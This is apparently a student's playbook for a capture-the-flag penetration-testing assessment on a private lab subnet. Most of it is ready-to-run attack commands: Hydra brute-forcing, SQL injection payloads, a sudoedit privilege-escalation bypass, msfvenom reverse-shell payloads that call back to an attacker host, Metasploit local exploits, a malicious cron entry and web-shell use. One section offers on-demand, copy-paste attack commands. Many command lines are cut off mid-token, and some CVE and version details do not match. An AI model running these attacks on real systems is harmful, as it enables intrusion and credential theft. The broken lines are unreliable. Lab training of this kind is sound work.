SCC.442 Individual Penetration Testing Playbook

Target Network: 192.168.25.0/24
Attacker Machine (Kali): 192.168.25.100
Challenge Targets: 192.168.25.110, 192.168.25.120, 192.168.25.130, 192.168.25.140, 192.168.25.150, 192.168.25.160
Assessment Format: Capture `proof.txt` from each machine

Table of Contents

1. Core Strategy & Workflow
2. Quick Reference: Essential Commands
3. Challenge Patterns & Exploitation Flows
4. On-Demand Payload & Command Generation
5. Privilege Escalation Techniques
6. Troubleshooting & Notes

Core Strategy & Workflow

Golden Rules

- **DO NOT** scan your own machine: 192.168.25.100
- Challenge machines are multiples of 10: .110, .120, .130, .140, .150, .160
- **Goal:** Locate and read `proof.txt` on each target
- **Evidence:** Keep screenshots and command output for report
- **Methodology:** Gather info → Enumerate → Exploit → PrivEsc → Flag

Universal Pipeline for Each Challenge IP

1. Initial Host & Port Discovery (Single-time scan)

```
# Discover all live hosts in subnet
nmap -sn -T5 -v -n 192.168.25.0/24 | grep "Nmap scan report"

# Detailed port + service scan on target
nmap -sC -sV 192.168.25.1XX

# For slow networks, limit port range
nmap -sC -sV -p 1-1000 192.168.25.1XX

# Force scan (skip host discovery) if needed
nmap -sC -sV -Pn 192.168.25.1XX
```

2. Rapid OS Identification

```
# Fingerprint OS
sudo nmap -Pn -O 192.168.25.1XX

# Output indicators:
# - NetBIOS/SMB/RDP 3389 → Windows
# - OpenSSH/Apache/vsftpd → Linux
```

3. Service Priority Attack Vector

Port	Service	Linux	Windows	First Action
21	FTP	Often open	Rare	Try anonymous login, hunt for credentials
22	SSH	Common	Via RDP or explicit	Use found credentials or Hydra
80/8080/3000	HTTP	Apache/Node	IIS	Web app testing: SQLi, XSS, RCE, Injection
3389	RDP	No	Common	Password guessing, xfreerdp login
5555-9999	Custom/Backdoor	Sometimes	Sometimes	Reverse shell indicator, connect directly

4. Information Gathering Flow

```
# For each discovered service, ask:
# Q1: Is it an authentication service (FTP, SSH, RDP)?
```

```
#     → Try: Anonymous, found credentials, Hydra, wordlists
# Q2: Is it a web service (HTTP, etc)?
#     → Try: Nikto scan, directory busting, form testing (SQLi, XSS, inje
# Q3: Are there hints/wordlists on HTTP server?
#     → Download: wget http://TARGET/pwned-*.txt
# Q4: After initial foothold, what PrivEsc paths exist?
#     → Check: sudo -l, suid binaries, cron jobs, exploit suggester
```

Quick Reference: Essential Commands

Network & Scanning

```
# Host discovery across subnet
nmap -sn -T5 -v -n 192.168.25.0/24

# Full port + script + version scan
nmap -sC -sV 192.168.25.1XX

# Aggressive OS detection
sudo nmap -Pn -O 192.168.25.1XX

# All ports (slow but thorough)
nmap -p- -sC -sV -T4 192.168.25.1XX

# Scan specific port range
nmap -p 1-1024 192.168.25.1XX

# UDP port scan (if needed)
nmap -sU -T5 192.168.25.1XX
```

Remote Access

```
# SSH to target (Linux)
ssh username@192.168.25.1XX
ssh -i keyfile username@192.168.25.1XX

# RDP to target (Windows)
xfreerdp3 /u:USERNAME /p:PASSWORD /v:192.168.25.1XX
xfreerdp3 /u:DOMAIN\\USERNAME /p:PASSWORD /v:192.168.25.1XX
```

```
# Exit remote session
exit
```

File Transfer (Kali ↔ Target)

```
# Copy TO target (Kali → Target)
rsync file user@192.168.25.1XX:/destination/
scp file user@192.168.25.1XX:/destination/
scp -i keyfile file user@192.168.25.1XX:/destination/

# Copy FROM target (Target → Kali)
rsync user@192.168.25.1XX:/source/file .
scp user@192.168.25.1XX:/source/file .

# Binary mode FTP transfer
ftp -a 192.168.25.1XX
    # Inside ftp: binary, get filename, bye
```

Web & HTTP

```
# Web scanner (check for known vulns)
nikto -host http://192.168.25.1XX
nikto -host http://192.168.25.1XX:8080

# Directory brute-force
dirb http://192.168.25.1XX /usr/share/dirb/wordlists/common.txt -X .php,.
gobuster dir -u http://192.168.25.1XX -w /usr/share/wordlists/dirb/commor

# Download files from web server
wget http://192.168.25.1XX/pwned-users.txt
wget http://192.168.25.1XX/pwned-passwords.txt
wget http://192.168.25.1XX/pwned-colon.txt

# Raw HTTP connection (debug)
nc -nv 192.168.25.1XX 80
# type: GET / HTTP/1.1
# type: Host: 192.168.25.1XX
```

FTP Access

```
# Anonymous FTP
ftp -a 192.168.25.1XX
    # Inside: ls, get filename, bye

# Authenticated FTP
ftp user@192.168.25.1XX
    # Prompt for password
    # Inside: ls, get filename, put filename, bye

# Non-interactive FTP (scripted)
echo -e "user\npass\nls\nget file.txt\nbye" | ftp 192.168.25.1XX
```

Password Guessing

```
# Hydra on SSH (separate user/pass files)
hydra -V -L userlist.txt -P passlist.txt -t 4 ssh://192.168.25.1XX

# Hydra on RDP (separate user/pass files)
hydra -V -L userlist.txt -P passlist.txt -t 2 rdp://192.168.25.1XX

# Hydra with colon file (user:pass format)
hydra -V -f -C pwned-colon.txt ssh://192.168.25.1XX
hydra -V -f -C pwned-colon.txt rdp://192.168.25.1XX

# Hydra on SMB
hydra -V -L userlist.txt -P passlist.txt smb://192.168.25.1XX

# Timeout & parallel tweaks for RDP (slow service)
hydra -V -f -C pwned-colon.txt -t 1 rdp://192.168.25.1XX
```

Password Cracking

```
# Linux shadow file cracking with John
unshadow /etc/passwd /etc/shadow > linuxpasswords
john linuxpasswords --wordlist=/usr/share/wordlists/rockyou.txt --format=
john --show linuxpasswords

# Windows SAM hashes with John
john winhashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=N
john --show winhashes.txt
```

```
# Using sqlmap for SQL injection password extraction
sqlmap -u "http://192.168.25.1XX/login.php?id=1" --batch -D database -T u
```

Privilege Escalation: Linux Checks

```
# Check sudo permissions
sudo -l

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check world-writable files
find / -perm -002 -type f 2>/dev/null

# Check cron jobs
cat /etc/crontab
ls -la /etc/cron.d/

# Kernel & OS version (for exploit research)
uname -a
cat /etc/os-release
```

Privilege Escalation: Windows Checks

```
# OS and patch level
ver
systeminfo | findstr /B /C:"OS Version"

# Current user privileges
whoami /priv

# Check for UAC
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Pc

# View running services
wmic service list brief
Get-Service | Where-Object {$_.Status -eq 'Running'}
```

Metasploit: Listener & Shells

```
# Start msfconsole and set up listener
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 4444
run

# Windows reverse shell listener
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 5555
run

# Inside meterpreter session
background          # Pause current session
sessions -i 1       # Resume session 1
sessions -l         # List all sessions
```

Meterpreter Post-Exploitation

```
# Post-exploitation: local exploit suggester
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# System info from meterpreter
sysinfo
getuid

# List processes
ps

# Migrate to critical process (Windows)
migrate 1234
```

Challenge Patterns & Exploitation Flows

Pattern A: FTP Anonymous → SSH → Standard PrivEsc

Common on: Linux targets with weak architecture
Expected nmap output:

- 21/tcp ftp (with anonymous enabled)
- 22/tcp ssh
- 80/tcp http (often contains hints)

Step-by-step execution:

```
# Step 1: Reconnaissance
nmap -sC -sV 192.168.25.110

# Step 2: FTP enumeration
ftp -a 192.168.25.110
    # Inside FTP:
    ls
    get password-reminder.txt
    get message.txt
    bye

# Step 3: Analyze retrieved files for clues
cat password-reminder.txt
cat message.txt
# Look for: usernames, password patterns, pet names, hints

# Step 4: Create password wordlist
# If hint says "password starts with Rex", create:
echo "RexQuartz" > passlist.txt
echo "RexDiamond" >> passlist.txt
# (Or use online tools / cewl if website available)

# Step 5: Hydra password guessing
hydra -V -L userlist.txt -P passlist.txt -t 2 ssh://192.168.25.110

# Step 6: SSH login with discovered credentials
ssh bob@192.168.25.110
    # Inside SSH:
    ls -la
    cat proof.txt
    # If not readable, proceed to PrivEsc
```

If proof.txt is not immediately readable:

```
# Check permissions & ownership
ls -la /home/bob/
ls -la /root/

# Check sudo permissions
sudo -l
# Example output: User bob may run NOPASSWD: /usr/bin/cat /root/proof.txt
sudo /usr/bin/cat /root/proof.txt
```

Pattern B: Linux Hash Extraction & John Cracking

Scenario: You have SSH access as non-root user, need root for flag
Expected files: /etc/passwd, /etc/shadow (need sudo or privesc first)

Execution:

```
# Step 1: Access target via SSH
ssh username@192.168.25.120

# Step 2: Check if you can read shadow
cat /etc/shadow
# If denied, try: sudo -l → if sudoedit without password, use Pattern E

# Step 3: (Assumed) Copy passwd & shadow to Kali
scp username@192.168.25.120:/etc/passwd .
scp username@192.168.25.120:/etc/shadow .

# Step 4: Prepare unshadow
unshadow passwd shadow > linuxpasswords

# Step 5: Get rockyou wordlist
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz

# Step 6: Run John the Ripper
john linuxpasswords --wordlist=rockyou.txt --format=md5crypt

# Step 7: Check results
john --show linuxpasswords
# Output: user:PASSWORD:UID:GID:...
```

```
# Step 8: SSH with new credentials
ssh newuser@192.168.25.120
cat proof.txt
```

Pattern C: Web Application - SQL Injection (DVWA-style)

Common on: HTTP services running Apache + PHP
Expected nmap output:

- 22/tcp ssh
- 80/tcp http (Apache, PHP)

Execution:

```
# Step 1: Port scan & service detection
nmap -sC -sV 192.168.25.130

# Step 2: Open browser to web app
firefox http://192.168.25.130

# Step 3: Identify SQL injection point
# Look for search/filter forms. Try basic payload:
' OR 1=1 --

# Step 4: Enumerate database structure (UNION-based SQLi)
# Determine column count:
' UNION SELECT null, null --

# Step 5: Extract database info
' UNION SELECT null, version() --
' UNION SELECT null, database() --

# Step 6: List tables in database
' UNION SELECT null, table_name FROM information_schema.tables WHERE tabl

# Step 7: List columns in table
' UNION SELECT null, column_name FROM information_schema.columns WHERE ta

# Step 8: Extract user data
' UNION SELECT username, password FROM users --

# Step 9: Crack hashes if needed (via John) or
```

```
# Bypass authentication via UPDATE:
' ; UPDATE users SET isadmin=1 WHERE username='student' --

# Step 10: Reload page as admin, locate flag
# Flag usually in:
# - /flag.php
# - Admin dashboard
# - /proof.txt (download link)
```

Alternative: Use sqlmap

```
# Automated SQL injection
sqlmap -u "http://192.168.25.130/search.php?name=test" --batch -D dvwa -T

# Against POST form
sqlmap -u "http://192.168.25.130/login.php" --data "username=test&passwor

# Specify cookie if needed
sqlmap -u "http://192.168.25.130/page.php?id=1" --cookie "PHPSESSID=abc12
```

Pattern D: OSINT + Web Reconnaissance → SSH Access

Scenario: Limited initial info; must gather credentials from website
Expected nmap output:

- 22/tcp ssh
- 80/tcp http (information disclosure)

Execution:

```
# Step 1: Full service scan
nmap -sC -sV 192.168.25.140

# Step 2: Web reconnaissance
firefox http://192.168.25.140

# Step 3: Automated web scanning
nikto -host http://192.168.25.140
gobuster dir -u http://192.168.25.140 -w /usr/share/wordlists/dirb/commor

# Step 4: Manual inspection
# Search page source (Ctrl+U) for:
```

```
# - Comments with usernames/hints
# - Hidden directories
# - Email addresses
# - Technology versions

# Step 5: Download potential credential files
wget http://192.168.25.140/robots.txt
wget http://192.168.25.140/.git/config  # If git exposed
wget http://192.168.25.140/backup.sql

# Step 6: Use found credentials for SSH
ssh student@192.168.25.140
# password: (from website)

# Step 7: Retrieve flag
cat proof.txt
```

Pattern E: Linux Sudo Misconfiguration + Sudoedit Exploit (Meterpreter)

Scenario: Non-root SSH user with sudoedit NOPASSWD privilege
Expected findings:

```
sudo -l
# User username may run NOPASSWD: /usr/bin/sudoedit /path/to/file
```

Two sub-patterns:

E1: Direct Sudoedit Bypass (Fast)

```
# Step 1: SSH login
ssh antonios@192.168.25.150

# Step 2: Check sudo permissions
sudo -l
# If sudoedit has NOPASSWD without restrictions:

# Step 3: Exploit via SUDO_EDITOR env variable
SUDO_EDITOR='cat -- /root/proof.txt' sudoedit /etc/os-release
# (Adjust file path as needed)

# Flag should be printed to stdout
```

E2: Sudoedit + Meterpreter Reverse Shell (Robust)

```
# ===== ON KALI =====

# Step 1: Create Linux reverse shell payload
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --arch x64 --platform linux --format elf -o reversetcp

# Step 2: Transfer payload to target
scp reversetcp antonios@192.168.25.150:/home/antonios/

# ===== ON TARGET (SSH session) =====

# Step 3: Give execute permissions
chmod +x /home/antonios/reversetcp

# ===== ON KALI (Metasploit) =====

# Step 4: Start meterpreter listener
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 4444
run

# ===== ON TARGET (in SSH session) =====

# Step 5: Execute payload
/home/antonios/reversetcp
# (This should trigger meterpreter callback)

# ===== BACK IN METASPLOIT =====

# Step 6: Exploit suggestions for privesc
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Step 7: Use recommended exploit (usually sudoedit_bypass_privesc)
use exploit/linux/local/sudoedit_bypass_privesc
set SESSION 1
```

```
set LHOST 192.168.25.100
set LPORT 4444
run

# Step 8: Verify root access and grab flag
getuid
# Should show: uid=0(root) gid=0(root) groups=0(root)

cat /root/proof.txt
```

Pattern F: Windows Password Guessing → RDP → Local Exploit PrivEsc

Common on: Windows 10/Server 2022 with credential lists on HTTP server
Expected nmap output:

- 22/tcp ssh (sometimes)
- 80/tcp http (with pwned-*.txt files)
- 3389/tcp rdp
- OS detection: Windows

Execution:

```
# Step 1: OS confirmation
sudo nmap -Pn -O 192.168.25.160

# Step 2: Download credential lists from web server
wget http://192.168.25.160/pwned-users.txt
wget http://192.168.25.160/pwned-passwords.txt
wget http://192.168.25.160/pwned-colon.txt

# Step 3: Prepare wordlist (colon format)
cat pwned-colon.txt
# Expected format: user:password

# Step 4: Password guessing with Hydra on RDP
# (RDP is slower; use -t 1 to avoid connection issues)
hydra -V -f -C pwned-colon.txt -t 1 rdp://192.168.25.160

# Or try SSH first (faster)
hydra -V -f -C pwned-colon.txt ssh://192.168.25.160

# Step 5: Once credentials found, RDP login
xfreerdp3 /u:Yang /p:pcrack3r /v:192.168.25.160
```

```
# Step 6: Inside RDP, check Windows version
# Type in cmd or PowerShell:
ver
systeminfo | findstr /B /C:"OS Version"

# Note the version (e.g., 22H2, Build 19042, etc.)

# ===== BACK ON KALI =====

# Step 7: Search for local exploits matching version
msfconsole
search 22H2
search cve:2023-21768
# (Adjust CVE based on actual OS version)

# Step 8: Create Windows meterpreter payload
msfvenom --payload windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=5555 \
  --arch x64 --format exe -o reversetcp.exe

# Step 9: Transfer payload to Windows target
# Option A: Download via RDP (copy from shared folder on Kali)
# Option B: Host on HTTP and download in Windows:
python3 -m http.server 8000
# (In Windows browser: http://192.168.25.100:8000/reversetcp.exe)

# Option C: Use existing SMB share / RDP copy

# Step 10: Start meterpreter listener on Kali
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.25.100
set LPORT 5555
run

# ===== BACK IN RDP SESSION (Windows) =====

# Step 11: Execute payload
# Open cmd or PowerShell and run:
reversetcp.exe
# OR:
C:\Users\Yang\Downloads\reversetcp.exe
```

```
# (Should trigger meterpreter callback)

# ===== BACK IN METASPLOIT =====

# Step 12: Confirm meterpreter session
# Should see: [*] Meterpreter session opened

# Step 13: Local exploit suggester
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Step 14: Use recommended exploit (e.g., cve_2023_21768)
use exploit/windows/local/cve_2023_21768_afd_lpe
set SESSION 1
set LHOST 192.168.25.100
set LPORT 5555
exploit

# Step 15: Verify SYSTEM access
getuid
# Should show: NT AUTHORITY\SYSTEM

# Step 16: Find and read proof.txt
ls C:\
dir /s proof.txt
type C:\Users\Public\proof.txt
# (Path varies; search if needed)
```

On-Demand Payload & Command Generation

How to Use This Section

When you encounter a specific challenge scenario, provide:

1. **Target IP**
2. **nmap output** (ports, services, versions)
3. **OS type** (Linux/Windows)
4. **Any found credentials or hints**

Then request:

- "Generate commands for this scenario"
- "What exploit should I try?"
- "How do I escalate privileges?"

Template Requests & Responses

Request Template

```
Challenge IP: 192.168.25.XXX
OS: Linux / Windows
Ports/Services:
- 21/tcp ftp (anonymous enabled)
- 22/tcp ssh (OpenSSH 8.2)
- 80/tcp http (Apache 2.4)

Found so far:
- [credentials, hints, etc.]

Next steps?
```

I will provide:

- **Exact commands** (copy-paste ready)
- **Expected output** (what to look for)
- **Decision tree** (if this → do that)
- **Troubleshooting** (common errors)

Privilege Escalation Techniques

Linux: Ordered by Probability

1. Sudo Misconfigurations

```
# Check what can be run as sudo
sudo -l

# Common vulnerable patterns:
# - NOPASSWD entries (can run directly)
```

```
# - Shell access (/bin/bash, /bin/sh)
# - Editor abuse (/usr/bin/nano, /usr/bin/sudoedit)
# - Script execution with wildcards

# Exploitation examples:
sudo cat /root/proof.txt  # If cat is allowed
sudo /bin/bash            # If shell is allowed
SUDO_EDITOR='cat /root/proof.txt' sudoedit /etc/os-release  # Editor expl

# If sudo -V vulnerable:
sudo -V | grep version
# Then search CVE for that version (e.g., CVE-2021-3493)
```

2. SUID Binaries

```
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check for known vulnerable versions:
# /usr/bin/sudo (if old)
# /usr/sbin/ping (sometimes)
# /usr/bin/pkexec (if vulnerable)
# Custom binaries

# Example: vulnerable /usr/local/bin/custom_tool
strings /usr/local/bin/custom_tool  # Check for obvious bugs
ltrace /usr/local/bin/custom_tool   # Trace library calls
strace /usr/local/bin/custom_tool   # Trace system calls

# If tool runs as root and has RCE:
/usr/local/bin/custom_tool "$(cat /root/proof.txt)"
```

3. World-Writable Files & Directories

```
# Find world-writable files
find / -perm -002 -type f 2>/dev/null

# Check if system scripts or configs are writable
ls -la /etc/cron.d/
ls -la /etc/init.d/

# If cron.daily is writable:
```

```
echo "cat /root/proof.txt > /tmp/flag.txt" > /etc/cron.d/malicious
# Wait for cron to run, then cat /tmp/flag.txt
```

4. Kernel Exploits

```
# Check kernel version
uname -a

# Search for public exploits:
# - dirtypipe (CVE-2022-0847) - < 5.16.11
# - overlayfs (CVE-2021-3493) - < 5.11
# - PwnKit (CVE-2021-4034) - polkit

# Example: Compile and run dirtypipe
searchsploit dirtypipe
# Download, compile, execute
```

Windows: Ordered by Probability

1. Already Has Admin Token (Easy Win)

```
whoami /priv | findstr /I "SeDebugPrivilege|SeImpersonatePrivilege"

# If these are present, you might already be SYSTEM
# Try:
dir C:\Windows\System32\config\sam
# If readable, you're SYSTEM
```

2. Stored Credentials

```
# Windows credential manager
cmdkey /list
# If credentials exist, try:
runas /savecred /user:DOMAIN\ADMIN "cmd.exe"
```

3. Local Exploit Suggester (via Metasploit)

```
# (From Kali with meterpreter session)
background
```

```
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

# Review suggested exploits and rank by:
# - Success rate
# - Stability
# - Matching OS version
```

4. Service Misconfiguration

```
# Unquoted service paths
wmic service get name,pathname | findstr /V "System32"

# If path contains spaces and isn't quoted:
# C:\Program Files\Vulnerable App\Service.exe
# You can drop C:\Program.exe
# And it will execute instead

# Check service permissions
icacls "C:\Program Files\Vulnerable App"
# If you have write access → drop malicious exe
```

Troubleshooting & Notes

Common Issues & Fixes

SSH Connection Refused / Timeout

```
# Check if target is up
ping 192.168.25.1XX

# Force skip host discovery
nmap -Pn -sC -sV 192.168.25.1XX

# SSH with verbose debugging
ssh -vvv username@192.168.25.1XX

# Increase timeout
ssh -o ConnectTimeout=30 username@192.168.25.1XX
```

Hydra Not Finding Password (But Password is Known)

```
# Ensure wordlist format is correct
cat passlist.txt | head
# Should show one password per line

# Try reduced threads (RDP especially)
hydra -t 1 -f -C pwned-colon.txt rdp://192.168.25.1XX

# Increase wait time
hydra -W 2 -f -C pwned-colon.txt ssh://192.168.25.1XX

# Check for extra whitespace
cat passlist.txt | od -c | head
# Remove hidden characters if needed
```

Meterpreter Session Not Connecting Back

```
# Verify listener is running
# In Metasploit, you should see: [*] Started reverse_tcp handler on 192.1

# Check firewall on target
# Linux: sudo iptables -L
# Windows: netsh advfirewall show allprofiles

# Verify LHOST is correct (not 127.0.0.1)
set LHOST 192.168.25.100  # NOT localhost

# Re-generate payload with correct LHOST/LPORT
msfvenom --payload linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.25.100 LPORT=4444 \
  --format elf -o reversetcp
```

SQL Injection Not Working

```
# Test for basic SQL error
' or 1=1 --

# Check database type (different syntax)
# MySQL/MariaDB: UNION SELECT ... FROM information_schema.tables
```

```
# MSSQL: UNION SELECT ... FROM information_schema.tables
# SQLite: UNION SELECT ... FROM sqlite_master

# Use sqlmap if manual fails
sqlmap -u "http://192.168.25.1XX/page.php?id=1" --batch --dbs

# If blocked, try encoding
' OR 1=1 /*
' OR 1=1 #
' OR 1=1 --+
```

Web Shell Not Executing (PHP)

```
# Verify upload succeeded
# In browser, navigate to upload directory (often /uploads/)

# Check file permissions (must be readable by web server)
ls -la /var/www/html/uploads/shell.php

# If permission denied, try:
# 1. Re-upload
# 2. Change extension (.php.jpg, .phtml, .php5)
# 3. Use directory traversal if path filtering is weak

# Test shell execution
curl http://192.168.25.1XX/uploads/shell.php?cmd=id
```

Environment Variables & Paths

```
# Kali Metasploit payloads
## Available payloads:
msfvenom --list payloads | grep -i reverse_tcp

# Wordlist locations
ls /usr/share/wordlists/
# rockyou.txt (if installed)
# dirb/common.txt
# dirbuster/directory-list-2.3-small.txt

# MSFVenom output formats
msfvenom --list formats | grep -i elf  # Linux
```

```
msfvenom --list formats | grep -i exe  # Windows

# Metasploit modules paths
ls /usr/share/metasploit-framework/modules/exploits/
```

Quick Decision Tree

```
Scenario: You have shell access to target. Next?

├─ Can read /root/proof.txt or C:\Users\Admin\proof.txt?
│  └─ YES → Done! Capture flag.
│  └─ NO  → Proceed below
│
├─ Check: sudo -l (Linux) OR whoami /priv (Windows)
│  └─ NOPASSWD sudo available?
│     └─ YES → Try: sudo cat /root/proof.txt
│     └─ NO  → Proceed to local exploit
│  └─ Admin token already?
│     └─ YES → Try: dir C:\Windows\System32\config\sam
│     └─ NO  → Proceed to local exploit
│
├─ Local Exploit Search
│  └─ Linux: uname -a → search kernel version in searchsploit
│  └─ Windows: (use meterpreter + local_exploit_suggester)
│
├─ If Standard Exploit Fails
│  └─ Linux: Try SUID binaries, writable cron, etc.
│  └─ Windows: Try service misconfiguration, credential storage
│
└─ Last Resort
   └─ Review all files in /home/* or C:\Users\*
   └─ Check /tmp/, /var/tmp, C:\Temp\
   └─ May be hidden in unexpected location
```

Checklist Before Assessment

- [ ] Know your Kali IP: 192.168.25.100
- [ ] Know challenge IPs: .110, .120, .130, .140, .150, .160
- [ ] Test nmap works: `nmap -sn 192.168.25.0/24`
- [ ] Test SSH works: `ssh user@192.168.25.100` (or any accessible machine)

- [ ] Test msfvenom: `msfvenom --list payloads | head`
- [ ] Test msfconsole: `msfconsole --version`
- [ ] Have rockyou.txt: `ls /usr/share/wordlists/rockyou.txt`
- [ ] Have common dirb list: `ls /usr/share/dirb/wordlists/common.txt`
- [ ] Aliases ready (optional):

```
alias nmap-scan='nmap -sC -sV'
alias nmap-os='sudo nmap -Pn -O'
alias hydra-ssh='hydra -V -L userlist.txt -P passlist.txt -t 4 ssh'
```

Key Reminders

1. **Methodology > Speed:** Methodically work through the Cyber Kill Chain (Recon → Weaponize → Deliver → Exploit → Install → Command & Control → Actions on Objectives).
2. **Document Everything:** Take screenshots of each step. You need evidence for the report.
3. **Stay Calm on Failures:** If an exploit doesn't work, backtrack and try a different service or vector. There's always another path.
4. **Read Error Messages:** They often reveal what went wrong (permission denied, connection refused, syntax error, etc.).
5. **Pivot if Stuck:** If a machine seems difficult, move to the next one. You can always return.
6. **Flag Format:** Most labs use `proof.txt` in home directory or root. Sometimes it's `flag.txt` or hidden. Grep for it:

```
find / -name "proof.txt" 2>/dev/null
find / -name "flag.txt" 2>/dev/null
```

Good luck on Friday! Stay methodical, document thoroughly, and think before you execute commands.

Last Updated: December 10, 2025
Version: 1.0 - Individual Assessment Edition